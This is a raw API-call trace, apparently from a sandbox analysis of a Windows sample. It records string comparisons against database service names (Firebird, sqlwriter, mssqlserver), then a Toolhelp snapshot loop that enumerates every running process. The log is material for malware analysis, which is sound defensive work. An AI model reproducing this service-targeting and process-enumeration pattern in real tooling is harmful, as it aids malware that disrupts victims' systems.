	[0052.317] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0052.317] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0052.317] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0052.317] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0052.317] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0052.317] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x390
	[0052.321] Process32FirstW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0052.322] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0052.323] lstrlenW (lpString="System") returned 6
	[0052.323] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0052.460] lstrlenW (lpString="smss.exe") returned 8
	[0052.460] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0052.461] lstrlenW (lpString="csrss.exe") returned 9
	[0052.461] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0052.462] lstrlenW (lpString="wininit.exe") returned 11
	[0052.462] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0052.463] lstrlenW (lpString="csrss.exe") returned 9
	[0052.463] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0052.464] lstrlenW (lpString="winlogon.exe") returned 12
	[0052.464] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0052.465] lstrlenW (lpString="services.exe") returned 12
	[0052.465] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0052.466] lstrlenW (lpString="lsass.exe") returned 9
	[0052.466] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.467] lstrlenW (lpString="svchost.exe") returned 11
	[0052.467] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0052.467] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0052.468] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0052.468] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0052.468] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.469] lstrlenW (lpString="svchost.exe") returned 11
	[0052.469] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0052.470] lstrlenW (lpString="dwm.exe") returned 7
	[0052.470] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.471] lstrlenW (lpString="svchost.exe") returned 11
	[0052.471] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.472] lstrlenW (lpString="svchost.exe") returned 11
	[0052.472] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.473] lstrlenW (lpString="svchost.exe") returned 11
	[0052.473] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.473] lstrlenW (lpString="svchost.exe") returned 11
	[0052.473] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.474] lstrlenW (lpString="svchost.exe") returned 11
	[0052.474] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.475] lstrlenW (lpString="svchost.exe") returned 11
	[0052.475] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.476] lstrlenW (lpString="svchost.exe") returned 11
	[0052.476] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.477] lstrlenW (lpString="svchost.exe") returned 11
	[0052.477] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.478] lstrlenW (lpString="svchost.exe") returned 11
	[0052.478] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0052.478] lstrlenW (lpString="spoolsv.exe") returned 11
	[0052.478] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.480] lstrlenW (lpString="svchost.exe") returned 11
	[0052.480] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.481] lstrlenW (lpString="svchost.exe") returned 11
	[0052.481] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0052.481] lstrlenW (lpString="audiodg.exe") returned 11
	[0052.481] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0052.482] lstrlenW (lpString="sihost.exe") returned 10
	[0052.482] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0052.483] lstrlenW (lpString="svchost.exe") returned 11
	[0052.483] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0052.484] lstrlenW (lpString="taskhostw.exe") returned 13
	[0052.484] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0052.484] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0052.485] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0052.485] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0052.485] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0052.486] lstrlenW (lpString="explorer.exe") returned 12
	[0052.486] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0052.486] lstrlenW (lpString="Memory Compression") returned 18
	[0052.487] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0052.488] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0052.488] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0052.488] lstrlenW (lpString="SearchUI.exe") returned 12
	[0052.488] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0052.489] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0052.489] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0052.490] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0052.490] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0052.491] lstrlenW (lpString="taskhostw.exe") returned 13
	[0052.491] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0052.492] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0052.492] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0052.493] lstrlenW (lpString="UsoClient.exe") returned 13
	[0052.493] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1
	[0052.494] lstrlenW (lpString="OfficeC2RClient.exe") returned 19
	[0052.494] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0052.494] lstrlenW (lpString="taskhostw.exe") returned 13
	[0052.494] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0052.496] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0052.496] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0052.497] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0052.497] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0052.497] lstrlenW (lpString="msoia.exe") returned 9
	[0052.497] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0052.498] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0052.498] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0052.499] lstrlenW (lpString="msoia.exe") returned 9
	[0052.499] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0052.500] lstrlenW (lpString="roof.exe") returned 8
	[0052.500] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0052.501] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0052.501] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0052.502] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0052.502] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0052.503] lstrlenW (lpString="cause.exe") returned 9
	[0052.503] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0052.908] lstrlenW (lpString="occasionstax.exe") returned 16
	[0052.909] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0052.909] lstrlenW (lpString="distributors.exe") returned 16
	[0052.909] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0052.910] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0052.910] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0052.911] lstrlenW (lpString="rand.exe") returned 8
	[0052.911] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unlikely.exe")) returned 1
	[0052.911] lstrlenW (lpString="unlikely.exe") returned 12
	[0052.911] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="forever_adipex_transcript.exe")) returned 1
	[0052.912] lstrlenW (lpString="forever_adipex_transcript.exe") returned 29
	[0052.912] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="promotion.exe")) returned 1
	[0052.913] lstrlenW (lpString="promotion.exe") returned 13
	[0052.913] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upset-vt-promoting.exe")) returned 1
	[0052.914] lstrlenW (lpString="upset-vt-promoting.exe") returned 22
	[0052.914] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charlie_sperm_new.exe")) returned 1
	[0052.914] lstrlenW (lpString="charlie_sperm_new.exe") returned 21
	[0052.915] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cagesymbol.exe")) returned 1
	[0052.915] lstrlenW (lpString="cagesymbol.exe") returned 14
	[0052.915] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="bad-length.exe")) returned 1
	[0052.916] lstrlenW (lpString="bad-length.exe") returned 14
	[0052.916] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="unit.exe")) returned 1
	[0052.917] lstrlenW (lpString="unit.exe") returned 8
	[0052.917] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="parents.exe")) returned 1
	[0052.918] lstrlenW (lpString="parents.exe") returned 11
	[0052.918] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="charge.exe")) returned 1
	[0052.919] lstrlenW (lpString="charge.exe") returned 10
	[0052.919] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="measures-provision.exe")) returned 1
	[0052.920] lstrlenW (lpString="measures-provision.exe") returned 22
	[0052.920] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0052.920] lstrlenW (lpString="dllhost.exe") returned 11
	[0052.921] Process32NextW (in: hSnapshot=0x390, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x744, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xff0, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0052.921] lstrlenW (lpString="conhost.exe") returned 11
